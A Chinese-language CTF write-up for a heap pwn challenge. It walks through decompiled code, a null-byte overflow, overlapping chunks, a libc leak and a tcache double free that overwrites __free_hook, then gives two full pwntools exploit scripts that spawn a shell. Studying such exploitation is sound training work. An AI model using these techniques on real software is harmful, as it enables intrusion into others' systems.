因为有一点懒所以没有截图,但是语言表达我觉得还是挺清楚的,因此需要仔细阅读理解
1.静态分析:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_A3A(a1, a2, a3);
qword_202050 = (__int64)calloc(0xA0uLL, 1uLL);
if ( !qword_202050 )
{
puts("init error!");
exit_0();
}
while ( 1 )
{
while ( 1 )
{
map();
v3 = sub_CAD();
if ( v3 != 2 )
break;
free_0();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
puts_0();
}
else if ( v3 == 4 )
{
exit_0();
}
}
else if ( v3 == 1 )
{
malloc_0();
}
}
}
首先我们看到程序calloc了一个chunk,大小是0xb0,我们跟踪 qword_202050可以看到这个chunk 是放在.bss里面的
然后就会检测chunk创建成功了没有,如果成功了就会进入while循环
然后我们输入的东西就会存在v3里面
接收数字为1就是malloc;为2就是delete;为3就是puts,为4就是退出
1.malloc:
unsigned __int64 malloc_0()
{
__int64 v0; // rbx
int i; // [rsp+0h] [rbp-20h]
unsigned int v3; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && *(_QWORD *)(16LL * i + qword_202050); ++i )
;
if ( i == 10 )
{
puts("full!");
}
else
{
v0 = qword_202050;
*(_QWORD *)(v0 + 16LL * i) = malloc(0xF8uLL);
if ( !*(_QWORD *)(16LL * i + qword_202050) )
{
puts("malloc error!");
exit_0();
}
printf("size \n> ");
v3 = sub_CAD();
if ( v3 > 0xF8 )
exit_0();
*(_DWORD *)(16LL * i + qword_202050 + 8) = v3;
printf("content \n> ");
sub_BEC(*(_QWORD *)(16LL * i + qword_202050), *(unsigned int *)(16LL * i + qword_202050 + 8));
}
return __readfsqword(0x28u) ^ v4;
}
这里进入一个大的循环然后在这个for里面有这样的一个判断:*(_QWORD *)(16LL * i + qword_202050)
这个判断加上的意思就是:i从0开始,如果i小于等于9,且16LL * i + qword_202050
所在地址内有值
,则i++。
也就是循环10次,然后找到一个没有发那个malloc指针的下标 i
经过分析我们可以看到这个结构体的结构是这个样子的:
{——malloc指针(8字节)
struct《 最开始的地址就是qword_202050
{——chunk_size(8字节)
创建完毕过后就通过调用sub_BEC接受字符串然后存进chunk的data里面,传入函数的参数一个是chunk的malloc指针,一个是chunk的size
2.sub_BEC:
然后我们来看一下sub_BEC这一个函数:
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
break;
++v3;
}
a1[v3] = 0;
a1[a2] = 0;
}
else
{
*a1 = 0;
}
return __readfsqword(0x28u) ^ v4;
}
有一个判断,如果size-1
的值小于v3,或a3[v3]中的值为\0
,或a3[v3]中的值为换行符的时候跳出循环
这里有一个null-byte-overflow漏洞:因为在我们前面malloc的时候创建的chunk的大小都为[0xF8],那么我们在输入内容的时候如果我们的size写的是0xF8的话,结束的时候就会在这个位置的后面加上一个\0,也就是在0xF9的位置写上了\0
3.delete:
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index \n> ");
v1 = sub_CAD();
if ( v1 > 9 || !*(_QWORD *)(16LL * v1 + qword_202050) )
sub_BBF();
memset(*(void **)(16LL * v1 + qword_202050), 0, *(unsigned int *)(16LL * v1 + qword_202050 + 8));
free(*(void **)(16LL * v1 + qword_202050));
*(_DWORD *)(16LL * v1 + qword_202050 + 8) = 0;
*(_QWORD *)(16LL * v1 + qword_202050) = 0LL;
return __readfsqword(0x28u) ^ v2;
}
首先就是判断输入合不合规矩,然后就是通过memset函数清空data,然后释放chunk的malloc指针,并将size置空,result倒了一手后将malloc指针置空
4.puts函数:
打印data,没有什么漏洞
2.思路:
我们可以发现这个题的保护全部都开启了的,然后现在已知的漏洞就是哪一个字节溢出;因为保护全开,所以got表不可写这能往hook里面写东西了然后我们就是想办法泄露出libc基地址。
那么我们怎么泄露libc基地址呢?
以前的时候有通过修改bk来指向libc里面的函数来泄露libc基地址的,但是这一道题没有修改的功能,所以不能这样;所以我们就只能通过null-byte-overflow漏洞
首先得创建10个chunk,7个放进tcache里面,三个放进unsorted bin里面
这里得注意,先释放0-5这6个chunk,然后再释放chunk9来把那三个chunk和top chunk隔开,避免与top chunk合并,然后我们再释放那三个chunk,我们会发现在unshort bin里面只用一个chunk,因为那三个chunk被合并成一个大的chunk(在这里面那三个chunk是0x300这么大)
然后我们就开始想办法重新启用unsortbin里面的chunk,首先得先把tcache里面的chunk提出来,因为tcache里面的chunk是LIFO原则,所以出来后的顺序有所不同,这里要注意一下;
然后这个时候再去申请就会把unsorted bin给提出来
这里要注意一下就是我们通过合并过后(6,7,8)chunk 6的fd和bk都指向了unsorted bin,然后在chunk 7 看来,前面的6是被释放了的,所以7的prev_size显示的是0x100(chunk 6 的大小),并和6合并,然后对于chunk 8来说,前面两个是已经合并在一起了的,所以它的prev_size大小是0x200,这样我们就成功修改了prev_size为0x200了
(关于为什么要修改成0x200,我的理解是我们需要在后面实现overlapping的话,它原理就是向前合并,其就需要三个chunk,第一个chunk的功能是修改中间的那一个chunk;中间的那一个chunk就是我们实际在使用,但是被系统认为没有使用的chunk,这样就能达到任意写的功能;后面的那一个chunk就是来触发合并的chunk;在这里一个chunk的大小是0x100,所以我们这里之所以要修改成0x200就是在为最后那一个chunk做准备)
既然这里修改已经达成了,那么我们就开始准备合并了:
接下来的步骤就是修改我们的inuse位了;既然要覆盖,那么我们就要把他的前一个重新启用才能,这里我们已经有了7个tcache,所以要把这里tcache给清空(这里我们的chunk0-5;chunk9是在tcache里面的,chunk6-8是我们的合并chunk,)清空过后再申请就是提取的我们合并的了,这个时候里面的chunk排布是这个样子的:chunk0-6 :我们的tcache里面的chunk,遵循LIFO
chunk7-9 :我们的unsorted里面拆出来的三份chunk,FIFO,顺序和合并的时候一样
因为我们的chunk9的prev_size被修改成了0x200,所以我们前面的chunk7的fd和bk要指向unsorted bin,这样才能泄露地址;
所以我们还得倒一次bin,首先要释放chunk0-5,然后单独释放chunk8(这里单独释放chunk8的原因是因为根据LIFO的原理,我们最后释放的chunk8,会在到时候申请的时候第一个申请出来变成chunk0,然后再释放chunk7,chunk7就会被放进unsorted bin里面,这样我们的fd和bk就会指向unsorted bin了,然后在申请回chunk8,但chunk8和chunk9就会物理相邻,这样就能修改掉chunk9的p;还有就是能够防止chunk7和top合并)
这个时候即使我们的chunk0(也就是之前的chunk8)处于被使用的状态,因为chunk9认为前面的chunk为free,所以chunk0就会被认为是被释放的,这个时候只要释放chunk9,就会把chunk0,chunk7合在一起放在unsorted bin里面(因为会认为chunk 7是这个合并chunk 的头)这样我们的chunk0就被假装释放了(这个时候还是可以通过show来获取里面的信息)所以我们只用再获取一个,把chunk7给获取出去,那么就会由chunk0来充当头,那么它的fd和bk就会变成unsorted bin的地址,这个时候show(0)就能得成功泄露了;
泄露之后的步骤就是要进行double free把__free_hook给修改成one_gadget然后执行一个delete就能获得权限了:
首先我们来看一下现在chunk的情况:chunk0 :合并chunk的中间那一个
chunk1-7 :清空tcache的时候布置的
chunk8 :为了让chunk0拿到地址创建的
chunk9 : 还在unsorted bin里面还没有创建
这个时候如果我们再去申请一下,我们就会把合并chunk的中间那一个再次创建出来,这个时候chunk0和chunk9都是它,这样一来就能double free了:
第一次重启目标chunk的时候,就能往里面写入free_hook的地址;第二次重启的时候,就会把free_hook当成一个空的块;第三次申请的时候就能往里里面写入one_gadget了
虽然tcache的检查不严格,但是你还是要检查堆的完整性的,所以我们要将chunk1-2个给放进tcache里面,为chunk0和chunk9做检查绕过
释放过后我们可以发现,在gdb里面虽然可以看到有4个在tcache里面,但是只显示了一个地址,那是因为这里的fd在double free过后指向了自己,形成了闭环
这个时候我们申请一个chunk(为我们之前的chunk9)往里面写入free_hook的地址,然后再申请一个chunk(之前的chunk0),在这个chunk之后的就会申请到我们的free_hook所在的位置了,所以再申请一个的时候就可以写入one_gadget了
3.脚本的实现:
from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
jude = 0
if jude == 1:
node = 'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
num = 48565
p = remote(node,num)
else:
p = process('./pwn')
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
p = p64(pop_addr)
p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
p += b'a'*56
return p
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def rv(num):
return p.recv(num)
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
context(os='linux', arch='amd64', log_level='debug')
def g():
gdb.attach(r)
def get_addr(arch):
if arch == 64:
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
else:
return u32(p.recvuntil(b'\xf7'))
def leaklibc(way,func_adr,name,libc):
if way == 'LibcSearcher':
libc = LibcSearcher('name',func_adr)
libc_base = func_adr - libc.dump(name)
system_adr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
else:
libc_base = func_adr - libc.sym[name]
system_adr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
return libc_base , system_adr ,bin_sh
def heaplibc(libc_base,libc):
system_adr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
return system_adr,bin_sh,free_hook,malloc_hook
def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))
def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)
def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))
def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]
for i in range(11):
new(0x10,str(i))
for i in range(6):
delete(i)
delete(9)
delete(6)
delete(7)
delete(8)
for i in range(7):
new(0x10,str(i))
for i in range(3):
new(0x10,b'hollk')
for i in range(6):
delete(i)
delete(8)
delete(7)
new(0xf8,'hollk0')
delete(6)
delete(9)
for i in range(7):
new(0x10,str(i))
new(0x10,b'900')
#show(0)
libc_addr = u64(show(0).strip().ljust(8, b'\x00'))
li(hex(libc_addr))
libc.base = libc_addr - 0x3ebca0
one_gadget = libc.base + 0x4f322
new(0x10,b'9 - next') #9
delete(1)
delete(2)
delete(0) #first
delete(9) #second
payload1 = libc.sym['__free_hook'] + libc.base
li(hex(payload1))
li(hex(one_gadget))
new(0x10, p64(payload1))
payload2 = one_gadget
new(0x10,p64(payload2))
new(0x10,p64(payload2))
delete(3)
#gdb.attach(p)
p.interactive()
带有解释的大佬的版本:
import sys
import os
import os.path
from pwn import *
hollk = process('./hollk')
def cmd(idx):
hollk.recvuntil('>')
hollk.sendline(str(idx))
def new(size, content):
cmd(1)
hollk.recvuntil('>')
hollk.sendline(str(size))
hollk.recvuntil('> ')
if len(content) >= size:
hollk.send(content)
else:
hollk.sendline(content)
def delete(idx):
cmd(2)
hollk.recvuntil('index \n> ')
hollk.sendline(str(idx))
def show(idx):
cmd(3)
hollk.recvuntil('> ')
hollk.sendline(str(idx))
return hollk.recvline()[:-1]
def main():
for i in range(7):
new(0x10, str(i)) # 七个chunk准备放进tcache
for i in range(3):
new(0x10, str(i + 7)) # 三个chunk准备放进unsorted bin
for i in range(6):
delete(i) # 六个chunk释放进tcache
delete(9) # 单独释放,填充tcache,防止后续释放进unsorted bin中的chunk与top chunk合并
for i in range(6, 9):
delete(i) # 释放进unsorted bin进行合并,修改目标堆块prev_size为0x200
for i in range(7):
new(0x10, str(i)) # 清空tcache bin
# 分割合并块,保留prev_size
new(0x10, 'hollk7')
new(0x10, 'hollk8')
new(0x10, 'hollk9')
for i in range(6):
delete(i) # 填充tcache
delete(8) # 填满tcache,防止后续释放进unsorted bin中的chunk与top chunk合并
delete(7) # 获得fd指针与bk指针,为后续目标目标堆块的fd和bk指针指向unsorted bin做准备
new(0xf8, 'hollk0') #null-byte-overflow漏洞覆盖目标堆块inuse标志位
delete(6) # 填满tcache,补上一行代码在tcache中的缺口
delete(9) # 释放目标堆块,让程序误认为unsorted bin中的堆块为合并的三个大堆块
for i in range(7):
new(0x10, str(i) + ' - tcache') # 清空tcache,再申请堆块就要从unsorted bin中分割
new(0x10, '900') # 分割unsorted bin中的合并堆块,使目标堆块作为合并堆块的头块,这样目标堆块的fd指针和bk指针就会指向unsorted bin
libc_leak = u64(show(0).strip().ljust(8, '\x00'))# 泄露目标堆块的fd和bk指针指向的unsorted bin地址
# 通过偏移算libc基地址
hollk.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('./libc.so.6')
libc.address = libc_leak - 0x3ebca0
new(0x10, '9 - next') # 分割合并堆块中作为头部的目标堆块,使得chunk0和chunk9都存放目标堆块
# 绕过 tcache检查
delete(1)
delete(2)
# double free
delete(0) # 第一次释放目标堆块
delete(9) # 第二次释放目标堆块
new(0x10, p64(libc.symbols['__free_hook'])) # 重新启用第二次释放的目标堆块,并向其中写入free_hook地址,将free_hook挂进tcache bin中
new(0x10, 'hollk') # 重启第一次释放的目标堆块,tcache中只留free_hook
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget)) # 启用作为空闲块的free_hook,并向其中写入one_gadget
delete(1) # 触发hook
hollk.interactive()
if __name__ == '__main__':
main()
参考博客:http://t.csdnimg.cn/9muQB
题目下载:GitHub - LCTF/LCTF2018: Source code, writeups and exps in LCTF2018.
(注,要是使用glibc-all-in-one的话得把libc的名字改为libc.so.6,不然修改ld的时候会导致程序无法运行,这玩意搞了我一个晚上。。。。)
Comments | NOTHING